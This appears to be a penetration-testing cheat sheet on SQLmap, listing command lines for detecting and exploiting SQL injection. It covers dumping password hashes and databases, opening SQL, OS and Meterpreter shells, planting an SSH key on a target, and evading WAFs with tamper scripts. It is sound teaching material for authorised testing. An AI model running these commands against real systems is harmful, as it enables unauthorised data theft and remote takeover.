SQLmap

SQLmap is a powerful tool that automates the detection and exploitation of SQL injection vulnerabilities, saving time and effort compared to manual testing. It supports a wide range of databases and injection techniques, making it versatile and effective in various scenarios. Additionally, SQLmap can retrieve data, manipulate databases, and even execute commands, providing a robust set of features for penetration testers and security analysts. Reinventing the wheel isn't ideal because SQLmap has been rigorously developed, tested, and improved by experts. Using a reliable, community-supported tool means you benefit from established best practices and avoid the high risk of missing vulnerabilities or introducing errors in custom code. However you should always know how SQLmap is working, and be able to replicate it manually if necessary.

Summary

• Basic Arguments For SQLmap
• Load A Request File
• Custom Injection Point
• Second Order Injection
• Getting A Shell
• Crawl And Auto-Exploit
• Proxy Configuration For SQLmap
• Injection Tampering
  • Suffix And Prefix
  • Default Tamper Scripts
  • Custom Tamper Scripts
  • Custom SQL Payload
  • Evaluate Python Code
  • Preprocess And Postprocess Scripts
• Reduce Requests Number
• SQLmap Without SQL Injection
• References

Basic Arguments For SQLmap

sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs

Load A Request File

A request file in SQLmap is a saved HTTP request that SQLmap reads and uses to perform SQL injection testing. This file allows you to provide a complete and custom HTTP request, which SQLmap can use to target more complex applications.

sqlmap -r request.txt

Custom Injection Point

A custom injection point in SQLmap allows you to specify exactly where and how SQLmap should attempt to inject payloads into a request. This is useful when dealing with more complex or non-standard injection scenarios that SQLmap may not detect automatically.

By defining a custom injection point with the wildcard character '*' , you have finer control over the testing process, ensuring SQLmap targets specific parts of the request you suspect to be vulnerable.

sqlmap -u "http://example.com" --data "username=admin&password=pass"  --headers="x-forwarded-for:127.0.0.1*"

Second Order Injection

A second-order SQL injection occurs when malicious SQL code injected into an application is not executed immediately but is instead stored in the database and later used in another SQL query.

sqlmap -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Getting A Shell

• SQL Shell:

  ps1Copy

  sqlmap -u "http://example.com/?id=1"  -p id --sql-shell
  

• OS Shell:

  ps1Copy

  sqlmap -u "http://example.com/?id=1"  -p id --os-shell
  

• Meterpreter:

  ps1Copy

  sqlmap -u "http://example.com/?id=1"  -p id --os-pwn
  

• SSH Shell:

  ps1Copy

  sqlmap -u "http://example.com/?id=1" -p id --file-write=/root/.ssh/id_rsa.pub --file-destination=/home/user/.ssh/
  

Crawl And Auto-Exploit

This method is not advisable for penetration testing; it should only be used in controlled environments or challenges. It will crawl the entire website and automatically submit forms, which may lead to unintended requests being sent to sensitive features like "delete" or "destroy" endpoints.

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

• --batch = Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
• --crawl = How deep you want to crawl a site
• --forms = Parse and test forms

Proxy Configuration For SQLmap

To run SQLmap with a proxy, you can use the --proxy option followed by the proxy URL. SQLmap supports various types of proxies such as HTTP, HTTPS, SOCKS4, and SOCKS5.

sqlmap -u "http://www.target.com" --proxy="http://127.0.0.1:8080"
sqlmap -u "http://www.target.com/page.php?id=1" --proxy="http://127.0.0.1:8080" --proxy-cred="user:pass"

• HTTP Proxy:

  ps1Copy

  --proxy="http://[username]:[password]@[proxy_ip]:[proxy_port]"
  --proxy="http://user:[email protected]:8080"
  

• SOCKS Proxy:

  ps1Copy

  --proxy="socks4://[username]:[password]@[proxy_ip]:[proxy_port]"
  --proxy="socks4://user:[email protected]:1080"
  

• SOCKS5 Proxy:

  ps1Copy

  --proxy="socks5://[username]:[password]@[proxy_ip]:[proxy_port]"
  --proxy="socks5://user:[email protected]:1080"
  

Injection Tampering

In SQLmap, tampering can help you adjust the injection in specific ways required to bypass web application firewalls (WAFs) or custom sanitization mechanisms. SQLmap provides various options and techniques to tamper with the payloads being used for SQL injection.

Suffix And Prefix

The --suffix and --prefix options allow you to specify additional strings that should be appended or prepended to the payloads generated by SQLMap. These options can be useful when the target application requires specific formatting or when you need to bypass certain filters or protections.

sqlmap -u "http://example.com/?id=1"  -p id --suffix="-- "

• --suffix=SUFFIX: The --suffix option appends a specified string to the end of each payload generated by SQLMap.
• --prefix=PREFIX: The --prefix option prepends a specified string to the beginning of each payload generated by SQLMap.

Default Tamper Scripts

A tamper script is a script that modifies the SQL injection payloads to evade detection by WAFs or other security mechanisms. SQLmap comes with a variety of pre-built tamper scripts that can be used to automatically adjust payloads

sqlmap -u "http://targetwebsite.com/vulnerablepage.php?id=1" --tamper=<tamper-script-name>

Below is a table highlighting some of the most commonly used tamper scripts:

Custom Tamper Scripts

When creating a custom tamper script, there are a few things to keep in mind. The script architecture contains these mandatory variables and functions:

• __priority__: Defines the order in which tamper scripts are applied. This sets how early or late SQLmap should apply your tamper script in the tamper pipeline. Normal priority is 0 and the highest is 100.
• dependencies(): This function gets called before the tamper script is used.
• tamper(payload): The main function that modifies the payload.

The following code is an example of a tamper script that replace instances like 'LIMIT M, N' with 'LIMIT N OFFSET M' counterpart:

import os
import re

from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGH

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):
    retVal = payload

    match = re.search(r"(?i)LIMIT\s*(\d+),\s*(\d+)", payload or "")
    if match:
        retVal = retVal.replace(match.group(0), "LIMIT %s OFFSET %s" % (match.group(2), match.group(1)))

    return retVal

• Save it as something like: mytamper.py

• Place it inside SQLmap's tamper/ directory, typically:

  ps1Copy

  /usr/share/sqlmap/tamper/
  

• Use it with SQLmap

  ps1Copy

  sqlmap -u "http://target.com/vuln.php?id=1" --tamper=mytamper
  

Custom SQL Payload

The --sql-query option in SQLmap is used to manually run your own SQL query on a vulnerable database after SQLmap has confirmed the injection and gathered necessary access.

sqlmap -u "http://example.com/vulnerable.php?id=1" --sql-query="SELECT version()"

Evaluate Python Code

The --eval option lets you define or modify request parameters using Python. The evaluated variables can then be used inside the URL, headers, cookies, etc.

Particularly useful in scenarios such as:

• Dynamic parameters: When a parameter needs to be randomly or sequentially generated.
• Token generation: For handling CSRF tokens or dynamic auth headers.
• Custom logic: E.g., encoding, encryption, timestamps, etc.

sqlmap -u "http://example.com/vulnerable.php?id=1" --eval="import random; id=random.randint(1,10)"
sqlmap -u "http://example.com/vulnerable.php?id=1" --eval="import hashlib;id2=hashlib.md5(id).hexdigest()"

Preprocess And Postprocess Scripts

sqlmap -u 'http://example.com/vulnerable.php?id=1' --preprocess=preprocess.py --postprocess=postprocess.py

Preprocessing Script (preprocess.py)

The preprocessing script is used to modify the request data before it is sent to the target application. This can be useful for encoding parameters, adding headers, or other request modifications.

--preprocess=preprocess.py    Use given script(s) for preprocessing (request)

Example preprocess.py:

#!/usr/bin/env python
def preprocess(req):
    print("Preprocess")
    print(req)

Postprocessing Script (postprocess.py)

The postprocessing script is used to modify the response data after it is received from the target application. This can be useful for decoding responses, extracting specific data, or other response modifications.

--postprocess=postprocess.py  Use given script(s) for postprocessing (response)

Reduce Requests Number

The parameter --test-filter is helpful when you want to focus on specific types of SQL injection techniques or payloads. Instead of testing the full range of payloads that SQLMap has, you can limit it to those that match a certain pattern, making the process more efficient, especially on large or slow web applications.

sqlmap -u "https://www.target.com/page.php?category=demo" -p category --test-filter="Generic UNION query (NULL)"
sqlmap -u "https://www.target.com/page.php?category=demo" --test-filter="boolean"

By default, SQLmap runs with level 1 and risk 1, which generates fewer requests. Increasing these values without a purpose may lead to a larger number of tests that are time-consuming and unnecessary.

sqlmap -u "https://www.target.com/page.php?id=1" --level=1 --risk=1

Use the --technique option to specify the types of SQL injection techniques to test for, rather than testing all possible ones.

sqlmap -u "https://www.target.com/page.php?id=1" --technique=B

SQLmap Without SQL Injection

Using SQLmap without exploiting SQL injection vulnerabilities can still be useful for various legitimate purposes, particularly in security assessments, database management, and application testing.

You can use SQLmap to access a database via its port instead of a URL.

sqlmap -d "mysql://user:pass@ip/database" --dump-all

References

• #SQLmap protip - @zh4ck - March 10, 2018
• Exploiting Second Order SQLi Flaws by using Burp & Custom Sqlmap Tamper - Mehmet Ince - August 1, 2017